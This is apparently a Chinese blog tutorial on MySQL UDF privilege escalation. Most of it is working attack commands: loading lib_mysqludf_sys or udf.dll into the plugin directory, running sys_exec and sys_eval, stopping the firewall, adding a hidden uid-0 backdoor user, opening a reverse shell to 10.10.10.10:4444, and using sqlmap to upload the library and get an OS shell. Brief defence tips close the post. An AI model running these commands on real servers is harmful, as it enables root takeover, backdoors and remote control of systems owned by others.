UDF-AttacK

凡是不能把我毁灭的,都将使我更强

本文主要围绕linux-udf提权,windows提权百度一大波,自行度娘

0x00 基础知识利用条件

基本了解

lib_mysqludf_sys:具有与操作系统交互的功能的UDF库。这些函数允许您与MySQL运行的执行环境进行交互
User-Defined Functions 是 Roland Bouman 开发的一个新的调用系统命令的udf包,其中有三个函数:
sys_exec: 调用系统命令,执行外部程序
sys_get: 返回系统环境变量的值
sys_set: 设置系统环境变量
以上执行系统命令后返回是命令的exit_code ,而不是命令的执行结果。
sys_eval: 官方增加了函数,这一函数命令执行成功返回执行结果,而如果错误返回NULL。

windows

Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。没有该文件夹新建即可
Mysql版本小于5.1版本。Windows2003放到c:\windows\system32
一般以root账号为佳,具备root账号所具备的权限的其它账号也可以。
可以将udf.dll写入到相应目录的权限。

创建目录

1
2
3
select @@basedir;
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION';
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';

创建cmdshell函数,该函数叫什么名字在后续中则使用该函数进行查询

1
2
3
4
5
create function cmdshell returns string soname 'lib_mysqludf_sys.dll';
select sys_eval('whoami');
select sys_eval('net stop policyagent');
select sys_eval('net stop sharedaccess'); //停用防火墙和ip筛选
drop function cmdshell; //将函数删除 ,切记切记

udf.dll下常见函数

1
2
3
4
5
6
7
8
9
10
cmdshell 执行cmd
downloader 下载者,到网上下载指定文件并保存到指定目录
open3389 通用开3389终端服务,可指定端口(不改端口无需重启)
backshell 反弹Shell
ProcessView 枚举系统进程
KillProcess 终止指定进程
regread 读注册表
regwrite 写注册表
shut 关机,注销,重启
about 说明与帮助函数

linux

mysql-plugin目录具有写入权限,并且获取路径
启动mysql的权限为root
获取到root账户口令[可以到user.MYD文件获取]
低版本mysql或者没有设置skip‑grant‑tables

注意点:
INTO OUTFILE不会覆盖文件
INTO OUTFILE必须是查询语句的最后一句
路径名是不能编码的,必须使用单引号
函数是需要绝对路径
secure_file_priv全局系统变量为空,那么直接可以使用函数,如果为null是不能使用,该变量用于限制数据的导入和导出操作,例如SELECT … INTO OUTFILE语句和LOAD_FILE()
mysql的5.5.53之前的版本是默认为空,之后的版本为null,所有是将这个功能禁掉了

INTO OUTFILE/DUMPFILE 这两个函数都可以写文件,但是有很大的差别
INTO OUTFILE函数写文件时会在每一行的结束自动加上换行符
INTO DUMPFILE函数在写文件会保持文件得到原生内容,这种方式对于二进制文件是最好的选择
当我们在UDF提权的场景是需要上传二进制文件等等用OUTFILE函数是不能成功的

0x01 有可用的.so文件情况下,直接导入导出

uname -a 确定系统x86 x64

1
2
3
[mysqld]
port = 3306
secure_file_priv =

1
2
3
4
5
show variables like '%plugin%';
select * from func;
select hex(load_file('/xx/lib_mysqludf_sys.so')) into outfile '/tmp/udf.txt';
cat /tmp/udf.txt
select unhex('7F454[udf内容]xx...') into dumpfile '/usr/local/mysql/lib/plugin/mysqludf.so';

0x02 上传到服务器,反弹shell并重新编译

上传c文件到tmp目录下,使用gcc编译程序至plugin目录

1
gcc -Wall -I/usr/local/mysql/include/ -Os -shared lib_mysqludf_sys.c -fPIC -o /usr/local/mysql/lib/plugin/lib_mysqludf_sys.so

删除之前并创建函数

1
2
3
4
5
6
7
8
9
10
11
DROP FUNCTION IF EXISTS lib_mysqludf_sys_so;
DROP FUNCTION IF EXISTS sys_get;
DROP FUNCTION IF EXISTS sys_set;
DROP FUNCTION IF EXISTS sys_exec;
DROP FUNCTION IF EXISTS sys_eval;
CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';

执行命令

1
2
3
4
select sys_exec('whoami');
select sys_exec('id');
select sys_exec('ifconfig');
select sys_exec('useradd -u 0 -o -g root -G root -p `openssl passwd -1 -salt '123' evilfox123` evilfox');

0x03 出现的问题

编译

当编译时出现类似报错时,将-I/usr/local/mysql/include/替换成my_globel.h的主目录
lib_mysqludf_sys.c:40:23: fatal error: my_global.h: No such file or directory#include <my_global.h>

在mysql执行命令返回为null时,也有可能udf库没有系统环境变量

1
sudo chown mysql:mysql /home/cassiano/teste/ -R

skip-grant-tables

1
Can't initialize function 'backshell'; UDFs are unavailable with the --skip-grant-tables option

需要将my.ini中的skip-grant-tables选项去掉。

Function sys_eval already exists

1
2
3
4
5
6
7
DROP FUNCTION IF EXISTS lib_mysqludf_sys_so;
DROP FUNCTION IF EXISTS sys_get;
DROP FUNCTION IF EXISTS sys_set;
DROP FUNCTION IF EXISTS sys_exec;
DROP FUNCTION IF EXISTS sys_eval;
select * from mysql.plugin;
delete from mysql.plugin;

重启mysql服务即可

0x04 sqlmap-udf-getshell

存在注入点的情况下

1
2
3
4
5
6
7
8
9
10
11
找到MySQL插件目录,然后利用sqlmap上传 lib_mysqludf_sys到MySQL插件目录,激活存储过程sys_exec函数
python sqlmap.py -u 'http://xxxx' --sql-shell
show variables like "%plugin%";
python sqlmap.py -u 'http://xxxx' --file-write=/lib_mysqludf_sys.so
--file-dest=/usr/lib/mysql/plugin/
python sqlmap.py -u 'http://xxxx' --sql-shell
CREATE FUNCTION sys_exec RETURNS STRING SONAME lib_mysqludf_sys.so
SELECT * FROM information_schema.routines
sys_exec(id);

存在外联的情况下

1
sqlmap -d "mysql://root:root@10.10.10.10:3306/mysql" --os-shell
1
2
3
4
5
6
7
语法 DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME 或者是DBMS://DATABASE_FILEPATH。
[1]dbms:代表所使用的数据库,如我们这里是mysql
[2]user:对应我们数据库的用户,如我们这里是root
[3]password:对应我们数据的密码,如我的服务器为root
[4]dbma_IP:数据库服务器对应的ip地址,如我这里为10.10.10.10
[5]dbms_PORT:数据服务器所使用的端口
[6]database_NAME:你要使用的数据库名

0x05 UDF提权总结与防范

有webshell的提权

不多说,直接上udf马儿

无webshell的提权

1
2
3
select version(); //获取mysql版本
select @@basedir; //查找到mysql的目录
SHOW VARIABLES LIKE '%plugin%' //查看高版本插件位置

通过查询将udf.dll转成代码插入数据库,然后导出

1
2
3
4
5
6
7
8
use mysql;
set @a=concat('',0x代码);
create table Ghost(data LONGBLOB);
insert into Ghost values("");update Ghost set data = @a;
代码为select hex(load_file('c:/udf.dll'))中的内容
select data from Ghost into dumpfile 'c:/phpStudy/MySQL/lib/plugin/udf.dll'; //导出ufd.dll
CREATE FUNCTION backshell RETURNS STRING SONAME 'udf.dll';//创建函数
select backshell("10.10.10.10",4444);

使用

1
2
3
python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m udf
python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m lpk
python root.py -a 127.0.0.1 -p root -e "ver&whoami" –m st

0x06 安全防范方法

尽量避免提供对外链接,通过mysql中的user表进行查看,禁用”%”。
设置复杂的Root账号密码。
对my.ini设置只读属性,设置plugin目录为只读目录。

突破延迟注入和盲注速度限制,利用dns注入快速获取数据
https://github.com/v5est0r/Python_FuckMySQL
https://github.com/sqlmapproject/udfhack
https://github.com/mysqludf/lib_mysqludf_sys
https://github.com/mysqludf/lib_mysqludf_sys/issues/4
http://www.freebuf.com/articles/web/30841.html
https://dev.mysql.com/doc/refman/5.5/en/create-function-udf.html
http://zhuanlan.51cto.com/art/201702/531259.htm
http://zhuanlan.51cto.com/art/201702/532984.htm

本文为原创,转载请遵守本站的版本

更新于: 2018年5月16日 14:05